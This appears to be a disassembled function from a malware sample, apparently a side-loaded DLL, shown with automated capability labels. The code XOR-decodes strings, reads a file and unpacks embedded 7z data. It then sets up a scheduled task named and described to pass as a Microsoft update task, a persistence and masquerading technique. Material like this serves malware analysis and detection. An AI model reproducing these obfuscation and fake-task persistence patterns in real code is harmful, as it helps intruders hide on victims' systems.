Function at 0x18000e360
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x10b0]
mov eax, 0x11b0
call fcn.180035690
sub rsp, rax
mov rax, qword [0x18004e008]
xor rax, rsp
mov qword [rbp + 0x10a0], rax
mov rbx, rdx
mov ecx, dword [0x180050074]
mov rax, qword gs:[0x58]
mov rsi, qword [rax + rcx*8]
mov ecx, 0x2d8
mov eax, dword [rcx + rsi]
mov edi, 0x288
test al, 1
jne 0x18000e3ef
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rsi + rdi + 6], 0x1116977
mov dword [rsi + rdi], 0x787d7b4d
mov word [rsi + rdi + 4], 0x613f
lea rcx, [0x180036f80]
call fcn.18001079c
nop
movsd xmm0, qword [rdi + rsi]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [rdi + rsi + 8]
mov word [rsp + 0x48], ax
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x60]
call fcn.180014f00
test rbx, rbx
je 0x18000e843
lea rcx, [rsp + 0x60]
sub rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x18000e430
cmp byte [rsp + 0x49], al
je 0x18000e475
xor byte [rsp + 0x40], 0x11
xor byte [rsp + 0x41], 0x11
xor byte [rsp + 0x42], 0x11
xor byte [rsp + 0x43], 0x11
xor byte [rsp + 0x44], 0x11
xor byte [rsp + 0x45], 0x11
xor byte [rsp + 0x46], 0x11
xor byte [rsp + 0x47], 0x11
xor byte [rsp + 0x48], 0x11
mov byte [rsp + 0x49], al
lea rcx, [rsp + 0x60]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x18000e480
lea r8, [rsp + 0x40]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x18000e490
lea rcx, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x18000e4b0
test rax, rax
je 0x18000e843
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, rdi
jne 0x18000e55b
mov ecx, 0x2cc
mov eax, dword [rcx + rsi]
mov ebx, 0x2d0
test al, 1
jne 0x18000e528
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rbx + rsi + 4], 0x1133261
mov dword [rbx + rsi], 0x7c616156
lea rcx, [0x180036f50]
call fcn.18001079c
nop
lea rcx, [rbx + rsi]
cmp byte [rcx + 7], 0
je 0x18000e551
xor byte [rcx], 0x13
xor byte [rcx + 1], 0x13
xor byte [rcx + 2], 0x13
xor byte [rcx + 3], 0x13
xor byte [rcx + 4], 0x13
xor byte [rcx + 5], 0x13
xor byte [rcx + 6], 0x13
mov byte [rcx + 7], 0
call sym.jli_x64_logon_persistence.dll_JLI_ReportErrorMessage
mov r14, rdi
jmp 0x18000e57b
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x18000e843
lea rcx, [r14 + 1]
call fcn.180010834
mov r15, rax
lea r8, [r14 + 1]
xor edx, edx
mov rcx, rax
call fcn.180014f00
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000e629
mov ecx, 0x2f0
mov eax, dword [rcx + rsi]
mov ebx, 0x280
test al, 1
jne 0x18000e5f9
or eax, 1
mov dword [rcx + rsi], eax
mov dword [rbx + rsi + 4], 0x1537221
mov dword [rbx + rsi], 0x3c212116
lea rcx, [0x180036f20]
call fcn.18001079c
nop
lea rcx, [rbx + rsi]
cmp byte [rcx + 7], 0
je 0x18000e622
xor byte [rcx], 0x53
xor byte [rcx + 1], 0x53
xor byte [rcx + 2], 0x53
xor byte [rcx + 3], 0x53
xor byte [rcx + 4], 0x53
xor byte [rcx + 5], 0x53
xor byte [rcx + 6], 0x53
mov byte [rcx + 7], 0
call sym.jli_x64_logon_persistence.dll_JLI_ReportErrorMessage
jmp 0x18000e64b
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [r14 + r14*4]
mov qword [rsp + 0x50], rbx
mov rcx, rbx
call fcn.180010834
mov rsi, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.180014f00
lea r9, [rsp + 0x50]
mov r8, rsi
mov rdx, r14
mov rcx, r15
call fcn.1800089c0
cmp eax, 0xffffffff
je 0x18000e826
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x6a0]
call fcn.180014f00
mov r8d, 0x104
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x18000e806
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x70]
call fcn.180014f00
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x8a0]
call fcn.180014f00
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x490]
call fcn.180014f00
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x280]
call fcn.180014f00
lea rdx, str.MicrosoftUpdateTask_Machine93681E65__DB3_6_4D_96_8_196_45CEA56BA9A5
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x18000e710
test rax, rax
je 0x18000e806
mov r8d, 0x104
lea rcx, [rbp + 0x70]
call fcn.18001d308
lea rdx, str.Keep_your_Microsoft_software_up_to_date._If_this_task_is_disabled_or_stopped__Microsoft_software_will_not_be_kept_up_to_date__which_means_possible_security_vulnerabilities_cannot_be_fixed__and_features_may_not_be_available._If_no_Microsoft_software_uses_this_task__the_task_will_uninstall_itself.
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x18000e740
lea rcx, [rbp + 0x8a0]
test rax, rax
je 0x18000e762
mov r8d, 0x104
call fcn.18001d308
jmp 0x18000e76c
lea rdx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.93681E65__DB3_6_4D_96_8_196_45CEA56BA9A5
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x18000e776
lea rcx, [rbp + 0x490]
test rax, rax
je 0x18000e798
mov r8d, 0x104
call fcn.18001d308
jmp 0x18000e7a2
lea rdx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.Microsoft_Update_Center
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x18000e7b0
lea rcx, [rbp + 0x280]
test rdi, rdi
je 0x18000e7d2
mov r8d, 0x104
call fcn.18001d308
jmp 0x18000e7dc
lea rdx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0x6a0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x280]
lea r8, [rbp + 0x490]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x70]
call fcn.18000edf0
mov rdx, qword [rsp + 0x50]
lea rcx, str.size__d__r_n
call sym.jli_x64_logon_persistence.dll_JLI_ReportErrorMessage
mov r8, qword [rsp + 0x50]
mov rdx, rsi
call fcn.18000e880
jmp 0x18000e832
lea rcx, str.extract_7z_data_from_mem_error__r_n
call sym.jli_x64_logon_persistence.dll_JLI_ReportErrorMessage
mov rcx, rsi
call fcn.180010684
mov rcx, r15
call fcn.180010684
nop
mov rcx, qword [rbp + 0x10a0]
xor rcx, rsp
call fcn.180010360
lea r11, [rsp + 0x11b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret